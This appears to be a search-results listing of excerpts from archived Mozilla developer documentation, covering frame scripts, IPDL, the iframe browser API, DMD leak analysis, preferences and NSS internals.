...f description please only use this to provide a brief description of the interface, keep it short and to the point. do not include more than one brief per interface. @param parameter description every parameter of a method should be documented, only use the parameter name, leave out things like [in]/[out]. @returns description if the method returns something then this should be included. @throws error description the error should be the actual name of the error constant, in all caps. @note description used to include a note styled paragraph. @remarks remark a remark paragraph to be included in the remarks section of the documentation. note: this is not yet supported by our documentation tool. using it will make it easier for documenters. @see description either an interface or a ...
...t the nsicookie to eat. */ void eatcookie(in nsicookie cookietoeat); /** * sings the song "c is for cookie." */ void sing(); /** * returns a string containing a funny quote the cookie monster might say. * * @param number the saying number to return. * * @returns an astring containing the requested funny quote. if the specified * quote number is invalid, an exception is thrown. * * @throws ns_error_failure unable to locate the requested quote. */ astring getfunnysaying(in integer number); /** * says something appreciative of the tastiness of the cookie in the specified * language. * * @param language the localization identification indicating the language in * which the cookie monster is to express his love of cookies. */ [noscript] void sayyummy(in astring language); }; ...
Contributing to the Mozilla code base
e@mozilla.com. we're determined to solve hurdles for new contributors. what skills do i need? mozilla is a large project and we are thrilled to have contributors with very diverse skills below is a table with our currently available projects to contribute to, along with the skills needs and links to their documentation. ...
...ascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox preview (mobile browser, codename: "fenix") kotlin contribute to firefox preview firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the moz...
... assignee. fix your pet peeve if there's something you'd like to fix about firefox, thunderbird, or your other favorite mozilla application, this can be a great place to start. there are a number of ways to do this: search bugzilla for relevant keywords. see pages on bugzilla for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list. browse this component on bugzilla for related bugs ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org find a bug we've identified as a good fit for new contributors. with more than a million bugs filed in bugzilla, it can be hard to know where to start, so we've created these bug categories to make getting involved a little easier: codetribute - our site for findin...
Limitations of frame scripts
le, you should not do it and may expect that it could stop working at any time. file i/o should all be done in the chrome process. for example: nsifileinputstream nsifileoutputstream constructing a file from a string or nsifile (but file objects can be sent via message manager) htmlinputelement.mozsetfilenamearray (alternative: mozsetfilearray) file: uris, see bug 1187099 <...> xul and browser ui anything that tries to touch the browser ui or anything to do with xul is likely not to work in the content process. for example: nsipromptservice nsifilepicker nsixul* <need more examples> services some services will not work in frame scripts. services.search services.downloads chrome windows anything that needs to use chrome windows will not work in the content process. fo...
...i.nsidomwindow); this will no longer work. in the content process, the root tree item is an nsitabchild, that cannot be converted to an nsidomwindow, so the second getinterface call here will fail. if you want a chrome window: send a message from the content process using the message manager. the target property of the object passed into the message handler in the chrome process is the xul <browser> receiving the message, and you can get the chrome window from that (i'm not sure how). nsiaboutmodule by default, custom about: pages registered using nsiaboutmodule are loaded in the chrome process. this means that you can't access their content from the content process (via xhr, for example). there is a shim for this that makes the content of about: pages registered by the add-on transpar...
...that makes the content of about: pages registered by the add-on transparently available in the content process. to avoid the shim: if you need to access the content of your about page from the content process, you need to register the nsiaboutmodule in the content process as well as the chrome process. by default, about: pages (except for a small whitelist) are loaded in the chrome process when browsed to from the awesomebar. javascript code modules (jsms) in multiprocess firefox, a jsm loaded into the content process does not share any state with the same jsm loaded into the chrome process. see the entry in the limitations on chrome scripts page. ...
Performance
frame scripts also get executed on non-restored tabs. ...
...if each framescript registers a seperate listener then the observed action will trigger the callbacks in all tabs. additionally the example above does not clean unregister itself, thus leaking objects each time a tab is closed. frame message manager message and event listeners are limited in their lifetime to that of the frame itself, this does not app...
...mescript // framescript.js function onlyonceinabluemoon() { // we only need this during a total solar eclipse while goat blood rains from the sky sendasyncmessage('my-addon:paragraph-count', {num: content.document.queryselectorall('p').length}) } addmessagelistener("my-addon:request-from-parent", onlyonceinabluemoon) better: // addon.js function ontoolbarbutton(event) { let tabmm = gbrowser.mcurrentbrowser.frameloader.messagemanager; let button = event.target; let callback = (message) => { tabmm.removemessagelistener("my-addon:paragraph-count", callback) decoratebutton(button, message.data.num) } tabmm.addmessagelistener("my-addon:paragraph-count", callback); tabmm.loadframescript("data:,sendasyncmessage('my-addon:paragraph-count', {num: content.document.querysel...
Storage access policy: Block cookies from trackers
ion" version of the list. second, firefox uses an additional "entity list", which prevents domains from being classified as trackers when they are loaded on a top-level site owned by the same organization. firefox uses the built-in tracking protection url classifier to determine which resources match the tracking protection list. domains are matched against the list in accordance with the safebrowsing v4 specification. specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively removing the leading component. consider the following examples: hostname on the list hostname of resource matched example.com example.com yes example.com ...
... set cookies via document.cookie. dom storage: localstorage: window.localstorage: read and write attempts throw a securityerror exception. prior to firefox 70: window.localstorage is null. thus, attempts to read and write using this object will throw a typeerror exception. sessionstorage: read and write attempts are permitted. indexeddb: attempting to access the indexeddb factory object throws a securityerror exception. messaging and workers: broadcast channel: attempts to create a new broadcastchannel will throw a securityerror exception. shared worker: attempts to create a new sharedworker will throw a securityerror exception. service worker: attempts to create a new serviceworker will throw a securityerror exception. dom cache: calls to cachestorage will always reject wi...
...ion. messaging and workers: broadcast channel: attempts to create a new broadcastchannel will throw a securityerror exception. shared worker: attempts to create a new sharedworker will throw a securityerror exception. service worker: attempts to create a new serviceworker will throw a securityerror exception. dom cache: calls to cachestorage will always reject with a securityerror. browser caches: the http cache, the image cache, and the alternative services (alt-svc) cache are all partitioned for tracking resources, such that each top-level origin will have a separate partition and tracking resources on different top-level origins will be cached separate from each other. network connections: tls sessions will not be resumed using a session ticket when an https connection...
Firefox Operational Information Database: SQLite
a large amount of operational information about websites visited and browser configuration is stored in relational databases in sqlite used by firefox. the sqlite manager add-on allows convenient browsing of this information. (install the sqlite mangager add-on, click tools -> sqlite manager. ...
... databases in sqlite used by firefox. the sqlite manager add-on allows convenient browsing of this information. (install the sqlite mangager add-on, click tools -> sqlite manager. ...
...r add-on allows convenient browsing of this information. (install the sqlite mangager add-on, click tools -> sqlite manager. ...
HTMLIFrameElement.goBack()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goback() method of the htmliframeelement interface is used to navigate backwards in the browser <iframe>'s history. ...
...lso be large incompatibilities between implementations and the behavior may change in the future. the goback() method of the htmliframeelement interface is used to navigate backwards in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on. syntax instanceofhtmliframeelement.goback(); returns void. parameters none. examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification. ...
HTMLIFrameElement.goForward()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goforward() method of the htmliframeelement is used to navigate forward in the browser <iframe>'s history. ...
...s feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goforward() method of the htmliframeelement is used to navigate forward in the browser <iframe>'s history. ...
...r. there may also be large incompatibilities between implementations and the behavior may change in the future. the goforward() method of the htmliframeelement is used to navigate forward in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on. syntax instanceofhtmliframeelement.goforward(); returns void. parameters none. examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification. ...
HTMLIFrameElement.sendMouseEvent()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the sendmouseevent() method of the htmliframeelement interface allows you to fake a mouse event and send it to the browser <iframe>'s content. syntax instanceofhtmliframeelement.sendmouseevent(type, x, y, button, clickcount, modifiers); returns void. parameters type a string representing the event type. possible values are mousedown, mouseup, mousemove, mouseover, mouseout, or contextmenu. x a number representing the x position of the cursor relative to the brow...
... clickcount, modifiers); returns void. parameters type a string representing the event type. possible values are mousedown, mouseup, mousemove, mouseover, mouseout, or contextmenu. x a number representing the x position of the cursor relative to the browser <iframe>'s visible area in css pixels. y a number representing the y position of the cursor relative to the browser <iframe>'s visible area in css pixels. button a number representing which button has been pressed on the mouse: 0 (left button), 1 (middle button), or 2 (right button). clickcount the number of clicks that should be performed. modifiers a number representing a key pressed at the same time the mouse button was clicked: 1 : alt 2 : ctrl 4 : shift 8 : meta 16 : alt gr 32 :...
...hould be performed. modifiers a number representing a key pressed at the same time the mouse button was clicked: 1 : alt 2 : ctrl 4 : shift 8 : meta 16 : alt gr 32 : caps lock 64 : fn 128 : num lock 256 : scroll 512 : symbol lock 1024 : win note: you can specify multiple key modifiers separated by a pipe symbol, for example 1 | 1014. examples var browser = document.queryselector('iframe'); browser.sendmouseevent("mousemove", x, y, 0, 0, 0); browser.sendmouseevent("mousedown", x, y, 0, 1, 0); browser.sendmouseevent("mouseup", x, y, 0, 1, 0); specification not part of any specification. ...
HTMLIFrameElement.sendTouchEvent()
warning: removed in firefox 65. the sendtouchevent() method of the htmliframeelement allows you to fake a touch event and send it to the browser <iframe>'s content. note: this method is available for touch-enabled devices only. syntax instanceofhtmliframeelement.sendtouchevent(type, x, y, rx, ry, rotationangles, forces, count, modifiers); returns void. parameters type a string representing the event type. possible values are touchstart, touchend, touchmove, or touchcancel. x an array of numbers representing the x position of each touch point relative to the browser <iframe>'s visible area in css pixels. y an array of numbers representing the y position of each touch point relative to the b...
... rx an array of numbers representing the x radius of each touch point in css pixels. ...
...hould be performed. modifiers a number representing a key pressed at the same time the mouse button was clicked: 1 : alt 2 : ctrl 4 : shift 8 : meta 16 : alt gr 32 : caps lock 64 : fn 128 : num lock 256 : scroll 512 : symbol lock 1024 : win note: you can specify multiple key modifiers separated by a pipe symbol, for example 1 | 1014. examples var browser = document.queryselector('iframe'); browser.sendtouchevent("touchstart", [1], [x], [y], [2], [2], [20], [0.5], 1, 0); specification not part of any specification. ...
HTMLIFrameElement.setVisible()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the setvisible() method of the htmliframeelement is used to change the visibility state of the browser <iframe>. the visible state of a browser <iframe> has nothing to do with its actual visibility (which is handled through css). the visible state is used to define the level of resources required by the browser <iframe>. if the visible state is set to true, it means that the browser <iframe> should have high priority over the resources needed to render and handle its content. on the contrary, if its ...
...however, if the visible state is set to false, window.requestanimationframe will be called only when there are free resources to do it. ...
...estanimationframe method and if the visible state is set to true, window.requestanimationframe will be called as often as necessary. however, if the visible state is set to false, window.requestanimationframe will be called only when there are free resources to do it. syntax instanceofhtmliframeelement.setvisible(visible); returns void. parameters visible a boolean that indicates if the browser <iframe> visible state is true or false. examples var browser = document.queryselector('iframe'); browser.setvisible(true); specification not part of any specification. ...
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style ipdl protocol, which sends a message from the content process (main thread) to the chrome process (ui thread). the tutorial is designed for beginners and will walk you through all the steps you need to get things working. the tutorial is designed for browser engineers who are implementing dom/web apis that need to, for example, send a message to the os or spin up something off the main thread - so it's biased towards supporting w3c/whatwg dom apis. what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface. the m...
...reference counting. visually, it's going to look something like this (except for the operating system bit, which we are not actually going to do - just to illustrate what we could do): let's start by implementing the webidl above. implementing the navigator.echo() in your favorite editor, open dom/webidl/navigator.webidl at the end of the file, add: partial interface navigator { [throws] promise<domstring> echo(domstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: already_addrefed<promise> echo(const nsastring& astring, errorresult& arv); we use nsastring& as the domstring comes in from js as utf-16. this will matter later, as we will need to convert it to utf-...
...manager| declaration in protocol `pecho' does not match any |manages| declaration in protocol `pwindowglobal' that's good! it means the syntax is correct, and now we need to pwindowglobal.ipdl to manage our pecho protocol. updating pwindowglobal.ipdl open up ./dom/ipc/pwindowglobal.ipdl. we need to add the following things: at the top of the file: include protocol pecho; after "manager pbrowser or pinprocess;", add: manages pecho; finally, under parent: add async pecho(); - this is the "constructor" part we talked about before, which will allow us to eventually send messages. so roughly, it looks like this (things in bold is what we added). // stuff.. include protocol pecho; async protocol pwindowglobal { // stuff... manages pecho; child: // stuff... parent: ...
IPDL Tutorial
otocol is declared in a separate file. the ipdl compiler generates several c++ headers from each ipdl protocol. this generated code manages the details of the underlying communication layer (sockets and pipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions. the following ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplugin protocol. two messages can be sent from the parent to the child, init() and shutdown(). one message can be sent from the child to the parent, ready(). ipdl protocols start with the letter p. the file in which the protocol is d...
...ol sendready() { // generated code to send a ready() message } }; these parent and child abstract classes take care of all the "protocol layer" concerns: serializing data, sending and receiving messages, and checking protocol safety. it is the responsibility of the implementor to create subclasses to perform the actual work involved in each message. here is a dirt-simple example of how a browser implementor might use ppluginparent. class pluginparent : public ppluginparent { public: pluginparent(const nscstring& pluginpath) { // launch child plugin process sendinit(pluginpath); } ~pluginparent() { sendshutdown(); } protected: bool recvready() { mobservers.notify("ready for action"); } }; here's how the ppluginchild might be used by a c++ implementor in ...
...hree cases can be either the parent or the child. the messaging semantics applies in the same way to both directions. so, for example, in synchronous semantics from the child to the parent, the child will block until the parent receives the message and the response arrives, and in asynchronous semantics from the parent to the child the parent will not block. when creating a plugin instance, the browser should block until instance creation is finished, and needs some information returned from the plugin: sync protocol pplugininstance { child: sync init() returns (bool windowless, bool ok); }; we added two new keywords to the plugin protocol, sync and returns. sync marks a message as being sent synchronously. the returns keyword marks the beginning of the list of values that are returned...
JavaScript-DOM Prototypes in Mozilla
s an unsafe practice. it is not guaranteed to work or be error-free in any implementation. it is not standard and cannot be expected to have any result. here is an attempt to modify a host object: (function(){ try { image.prototype.src = 1; } catch(ex){ alert(ex); } })(); this demonstrates that the image constructor, a host object supported in nearly all browsers for mac and windows, has a prototype property, and that an attempt to modify the prototype's src - property results in an error. another example would be modifying the pagex property of a mouseevent instance. the pagex property actually needs a patch because it doesn't get set correctly in initmouseevent bug 411031. here is a diagram that shows the prototype layout of a htmldivelement in moz...
... so how does all this work in the mozilla dom code? it all happens in xpconnect and nsdomclassinf...
... so how does all this work in the mozilla dom code? it all happens in xpconnect and nsdomclassinfo.{cpp,h} in the dom code. ...
Downloads.jsm
all work on both downloads.private and downloads.public downloads. properties attribute type description error read only constructor constructor for a downloaderror object. when you catch an exception during a download, you can use this to verify if...
...perties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window. private work on downloads that were started from a private browsing window. all work on both downloads.private and downloads.public downloads. properties attribute type description error read only constructor constructor for a downloaderror object. when you catch an exception during a download, you can use this to verify if ex instanceof downloads.error, before reading the exception properties with the error d...
... additionnal things in order to use the new download manager. by default it is not enabled. it will be enabled when the bug 851471 will be closed. if you don't activate it, you could use downloads.jsm, but your view will not be called by the external helper app service (when a user click on a file to download, in a web page). to enable the new download manager : first you have to set the pref browser.download.usejstransfer to true. then you should declare the new nsitransfer object during the startup of your app. components.manager.queryinterface(components.interfaces.nsicomponentregistrar) .registerfactory(components.id("{1b4c85df-cbdd-4bb6-b04e-613caece083c}"), "", "@mozilla.org/transfer;1", null); ...
NetUtil.jsm
. asink the output stream to which to copy the data. this must be an nsioutputstream based object. acallback an optional function that will be called when the copy operation is completed. the callback receives a single parameter: the nsresult status code for the copy operation. return value returns the nsiasyncstreamcopier object that is handling the copy. exceptions thrown this method throws an exception with the message "must have a source and a sink" if either asource or asink is null. example this example writes a string to a file; it comes from the test suite for the netutil module. var file = cc["@mozilla.org/file/directory_service;1"]. getservice(ci.nsiproperties). get("tmpd", ci.nsifile); file.append("test-file.tmp"); file.createunique(ci.nsifile.norma...
...sifile, nsichannel, nsiinputstream or as a string specifying the url to open. acallback a function that will be called when the open operation is completed. the callback receives three parameters: the input stream containing the data, if any (implementing nsiinputstream), an nsresult status code for the open operation, and a reference to the nsirequest object. exceptions thrown this method throws an exception with the message "must have a source and a callback" if either asource or acallback is null. example this example shows the basic code consumers would need to implement to be correct. netutil.asyncfetch(channel, function(ainputstream, aresult) { // check that we had success. if (!components.issuccesscode(aresult)) { // handle error return; } // consume the input s...
...l] abaseuri ); parameters atarget specifies the target of the uri as either a uri string or (starting in gecko 2) as an nsifile. aorigincharset the optional character set for the uri. defaults to utf-8 if not provided. abaseuri the base uri for the spec, specified as an nsiuri. return value returns the nsiuri object representing the specified target. exceptions thrown this method throws an exception with the message "must have a non-null string spec or nsifile object" and result code ns_error_invalid_arg if aspec is null. readinputstreamtostring() reads a given number of bytes from an input stream, returning a string containing those bytes. this works even if some of those bytes are zeros, instead of terminating the string at the first zero byte. string readinputstreamtostrin...
OS.File for the main thread
the file so it can be edited from other places, close the file. file.close(); this example is from stackoverflow: os.file check last modified date before os.read os.file.openunique() creates and opens a file with a unique name. by default, generate a random hex number and use it to create a unique new file name. promise<object> openunique( in string path, [optional] in object options ) throws os.file.error arguments path the full native name of the file to open. optionsoptional additional options for file opening. this implementation interprets the following fields: humanreadable if true, create a new filename appending a decimal number, e.g., filename-1.ext, filename-2.ext. if false use hex numbers, e.g., filename-a65bc0.ext. maxattempts used to limit the amount of t...
...ame-a65bc0.ext. maxattempts used to limit the amount of tries after a failed file creation. default is 99. promise resolves to an object contains a file object{file} and the path{path}. promise can be rejected with os.file.error if the file could not be opened. os.file.copy() copy a file. void copy( in string sourcepath, in string destpath [optional] in object options) throws os.file.error arguments sourcepath the full path of the file to copy. at the time of this writing, this function does not copy directories. destpath the full path of the destination. note that this is not a directory but a file. optionsoptional an optional object used to control the behavior of this function. you may pass an object with a subset of the following fields: nooverwrite if...
...<string> getcurrentdirectory() promise resolves to the path to the current directory. safety note: recall that the current directory can change during the execution of the process. therefore, the information returned by this function may be false by the time you receive it. os.file.makedir() create a new directory promise<void> makedir( in string path, [optional] in object options ) throws os.file.error arguments path the full name of the directory to create. optionsoptional options for creating the directory. to specify options, pass an object that may contain some of the following flags: ignoreexisting if true, succeed even if the directory already exists (default behavior). otherwise, fail if the directory already exists. note: if from is specified then even if ignoreex...
Promise
state. new promise(executor); parameters executor this function is invoked immediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed. the resolving functions can be used at any time, before or after the executor has completed, to control the final state of the promise. if the executor throws an exception, its value will be passed to the reject resolving function. resolving functions resolve() fulfills the associated promise with the specified value, or propagates the state of an existing promise. if the associated promise has already been resolved, either to a value, a rejection, or another promise, this method does nothing. note: calling this method with a pending promise as ...
...ed, whose state evolves depending on this promise and the provided callback functions. the appropriate callback is always invoked after this method returns, even if this promise is already fulfilled or rejected. you can also call the then method multiple times on the same promise, and the callbacks will be invoked in the same order as they were registered. warning: if the onfulfill callback throws an exception, the onreject callback is not invoked and the exception won't be caught, nor shown in the console (you will see a promise chain failed error). you can register a rejection callback on the returned promise instead (using catch() or then()), to process any exception occurred in either of the callbacks registered on this promise. note: when you call the then method multiple times on t...
... is rejected with the same reason as the original promise. return value a new promise that is initially pending, then assumes a state that depends on the outcome of the invoked callback function: if the callback returns a value that is not a promise, including undefined, the new promise is fulfilled with this fulfillment value, even if the original promise was rejected. if the callback throws an exception, the new promise is rejected with the exception as the rejection reason, even if the original promise was fulfilled. if the callback returns a promise, the new promise will eventually assume the same state as the returned promise. catch() equivalent to then() with an undefined value for the onfulfill parameter. if you chain then( onfulfill ).catch( onreject ), exceptions thrown i...
MathML Torture Test
lue="texgyrebonum">tex gyre bonum</option> <option value="texgyrepagella">tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> ...
...nction load() { document.getelementbyid("mathfont"). addeventlistener("change", updatemathfont, false) } window.addeventlistener("load", load, false); the following test contains sample tex formulas from knuth's tex book and equivalent mathml representations. it compares the rendering by the xetex engine using the default latin modern math font against the mathml rendering by your browser using the default math font, or an alternative opentype math fonts. to get the best rendering, be sure to have appropriate mathematical fonts installed on your system and to use a browser with opentype math support such as gecko 31.0 (firefox 31.0 / thunderbird 31.0 / seamonkey 2.28) or higher. you may also try this test page for mathematical opentype fonts which instead relies on web fonts. fi...
...e appropriate mathematical fonts installed on your system and to use a browser with opentype math support such as gecko 31.0 (firefox 31.0 / thunderbird 31.0 / seamonkey 2.28) or higher. you may also try this test page for mathematical opentype fonts which instead relies on web fonts. finally, you may want to check this table comparing how the tests are read by various screen readers for mozilla browsers. link to test: mathml torture test demo ...
MathML Demo: <mfrac> - fractions
1.234567 89 + x the end. inline, text style, no line x 2 + 1 x the end. inline binomial, auto, no line ( 5 8 ) the end. inline binomial, display style, no line ( n - k n ) the end. inline binomial, text style, no line ( log ⁡ x y ) the end. inline built-in verts, auto, no line | sin ⁡ θ m | the end. ...
...the end. inline binomial, auto, no line ( 5 8 ) the end. inline binomial, display style, no line ( n - k n ) the end. inline binomial, text style, no line ( log ⁡ x y ) the end. inline built-in verts, auto, no line | sin ⁡ θ m | the end. inline up arrows, display style, no line ↑ sin ⁡ θ m ↑ the end. inline down arrows, text style, no line ↓ sin ⁡ θ m ↓ the end. ...
..., no line | sin ⁡ θ m | the end. inline up arrows, display style, no line ↑ sin ⁡ θ m ↑ the end. inline down arrows, text style, no line ↓ sin ⁡ θ m ↓ the end. inline floor, auto, normal line ⌊ sin ⁡ θ m ⌋ the end. inline ceiling, display style, normal line ⌈ sin ⁡ θ m ⌉ the end. inline updown arrows, text style, normal line ↕ sin ⁡ θ m ↕ the end. inline double up arrows, auto, thick line ⇑ sin ⁡ θ m ⇑ the end. inline double down arrows, display style, thick line ⇓ sin ⁡ θ m ⇓ the end. inline double up down arrows, text style, thick line ⇕ sin ⁡ θ m ⇕ the end. inline, styles auto, display and text 1 2 ...
Investigating leaks using DMD heap scan mode
probably be an optimized build. non-optimized dmd builds will generate better stack traces, but they can be so slow as to be useless. the build is going to be very slow, so you may need to disable some shutdown checks. first, in toolkit/components/terminator/nsterminator.cpp, delete everything in runwatchdog but the call to ns_setcurrentthreadname. this will keep the watch dog from killing the browser when shut down takes multiple minutes. secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow. you need the cycle collector analysis script find_roots.py, which can be downloaded as part of this repo on github. generating logs the next step is to generate a number of log ...
...fox. be aware that this may take multiple minutes if you have optimization disabled. once it has started, go through the steps you need to reproduce your leak. if your leak is a ghost window, it can be handy to get an about:memory report and write down the pid of the leaking process. you may want to wait 10 or so seconds after this to make sure as much as possible is cleaned up. next, exit the browser. this will cause a lot of logs to be written out, so it can take a while. analyzing the logs getting the pid and address of the leaking object the first step is to figure out the pid of the leaking process. the second step is to figure out the address of the leaking object, usually a window. conveniently, you can usually do both at once using the cycle collector log. if you are investigating...
... ...
DMD
"trigger" section below to see the full list of ways to get a dmd report once you have it activated. note that stack information you get will likely be less detailed, due to being unable to symbolicate. you will be able to get function names, but not line numbers. desktop firefox (linux) build build firefox with these options: ac_add_options --enable-dmd if building via try server, modify browser/config/mozconfigs/linux64/common-opt or a similar file before pushing. launch use mach run --dmd; use --mode to choose the mode. add --debug to run under gdb. trigger there are three ways to trigger a dmd snapshot. visit about:memory and click the dmd button (depending on how old your build is, it might be labelled "save" or "analyze reports" or "dmd"). the button won't be present in non...
...'ll see separate output for each process. this step can take 10 or more seconds and may make firefox freeze temporarily. if you see the "opened" line, it tells you where the file was saved. it's always in a temp directory, and the filenames are always of the form dmd-<pid>. ...
...also, add this line to build/mozconfig.common: moz_crashreporter_upload_full_symbols=1 launch on a local build, use mach run --dmd; use --mode to choose the mode. on a build done by the try server, follow these instructions instead. trigger follow the trigger instructions for linux. ...
Power profiling overview
age power but this is often referred to as just the power when context makes it clear. in the context of computing, a fully-charged mobile device battery (as found in a laptop or smartphone) holds a certain amount of energy, and the speed at which that stored energy is depleted depends on the power consumption of the mobile device. that in turn depends on the software running on the device. web browsers are popular applications and can be power-intensive, and therefore can significantly affect battery life. as a result, it is worth optimizing (i.e. reducing) the power consumption caused by firefox and firefox os. intel processor basics processor layout the following diagram (from the intel power governor documentation) shows how machines using recent intel processors are constructed. th...
...ts are global or per-process. such low-context measurements are typically good for understand if power consumption is good or bad, but in the latter case they often don't provide much insight into why the problem is occurring, which part of the code is at fault, or how it can be fixed. nonetheless, they can still help improve understanding of a problem by using differential profiling. compare browsers to see if firefox is doing better or worse than another browser on a particular workload. compare different versions of firefox to see if firefox has improved or worsened over time on a particular workload. this can identify specific changes that caused regressions, for example. compare different configurations of firefox to see if a particular feature is affecting things. compare different...
...d fixing cases of high power consumption. first of all, all measurements are best done on a quiet machine that is running little other than the program of interest. global measurements in particular can be completely skewed and unreliable if this is not the case. find or confirm a test case where firefox's power consumption is high. "high" can most easily be gauged by comparing against other browsers. use power measurements or estimates (e.g. via tools/power/rapl, or mach power on mac, or intel power gadget on windows) for the comparisons. avoid lower-quality measurements, especially activity monitor's "energy impact". try using differential profiling to narrow down the cause. try turning hardware acceleration on or off; e10s on or off; flash on or off. try putting the relevant t...
A brief guide to Mozilla preferences
e (in prefs.js), for both firefox and thunderbird. a preference is read from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref(). all preferences files may call pref(), user_pref() and sticky_pref(), while the config file in addition may call lockpref(). preferences files to protect privacy by preventing inadvertent loading of a preferences file in the browser, the first line of the file is made un-parseable and skipped on loading. the only exception to this is user.js . on application launch, several preferences files are loaded. they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services...
...refox ships default preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/common/services-common.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel. this is kept separate from other preferences because it can affect how updates are applied. browser/app/profile/firefox.js - defaults specific to firefox browser/app/profile/firefox-branding.js - defaults specific to the specific kind of firefox being installed (nightly, aurora, beta, release) browser/defaults/pre...
... the location bar. this ui is not recommended for most users. programmatic changes to preferences can be made using the preferences.jsm module from js code, or the mozilla::preferences static class methods from c++ code. changing defaults a systems administrator can modify the default preferences in two ways: the administrator may add an all-companyname.js preference file (install_directory/browser/defaults/preferences/all-companyname.js). this will be parsed last during the preference loading process. the administrator may alternatively put a user.js file in app_dir/defaults/profile/ ; this will put a copy of the user.js in all new profiles. this method has the advantage of resetting preferences back to administrator defaults at every start-up. note that, because a user typically ha...
Patches and pushes
now that you've made your productization selections, you may be interested in learning the technical aspects behind productization by creating a productization patch. below you'll find instructions on creating a patch and pushing it to your repository. patchify search plugins are found in browser/searchplugins. each plugin is stored as an xml file, with list.txt containing the names of each plugin. here is an example search plugin file using french yahoo. ...
...nd productization by creating a productization patch. below you'll find instructions on creating a patch and pushing it to your repository. patchify search plugins are found in browser/searchplugins. each plugin is stored as an xml file, with list.txt containing the names of each plugin. here is an example search plugin file using french yahoo. ...
...lename (without extensions) on a new line and save. note that if your team selects a local version of an already default plugin (e.g., wikipedia), the xml filename should include the locale code (e.g., wikipedia-es). create a patch of the searchplugins directory by entering the following command in your command-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link. once attached and labeled as a patch, open the attachment details. in the attachment details, select the ? from the dropdown menu next to the review flag. this will display a text box to assign the review to someone. enter :flod as the requestee...
An overview of NSS Internals
r set of rules for issuing certificates for web site certificates. instead of simply verifying that the requester of a certificate is in control of an administrative email address at the desired web site's domain, it's required that the ca performs a verification of real world identity documents (such as a company registration document with the country's authority), and it's also required that a browser software performs a revocation check with the ca, prior to granting validity to the certificate. in order to distinguish an ev certificate, cas will embed a policy oid in the certificate, and the browser is expected to verify that a trust chain permits the end entity (ee) certificate to make use of the policy. only the apis of the newer libpkix engine are capable of performing a policy verifica...
...at's a good opportunity to talk about ssl/tls connections to servers in general (not just ev, not just websites). whenever this document mentions ssl, it refers to either ssl or tls. (tls is a newer version of ssl with enhanced features.) when establishing an ssl connection to a server, (at least) a server certificate (and its trust chain) is exchanged from the server to the client (e.g., the browser), and the client verifies that the certificate can be verified (including matching the name of the expected destination server). another part of the handshake between both parties is a key exchange. because public key encryption is more expensive (more calculations required) than symmetric encryption (where both parties use the same key), a key agreement protocol will be executed, where the pub...
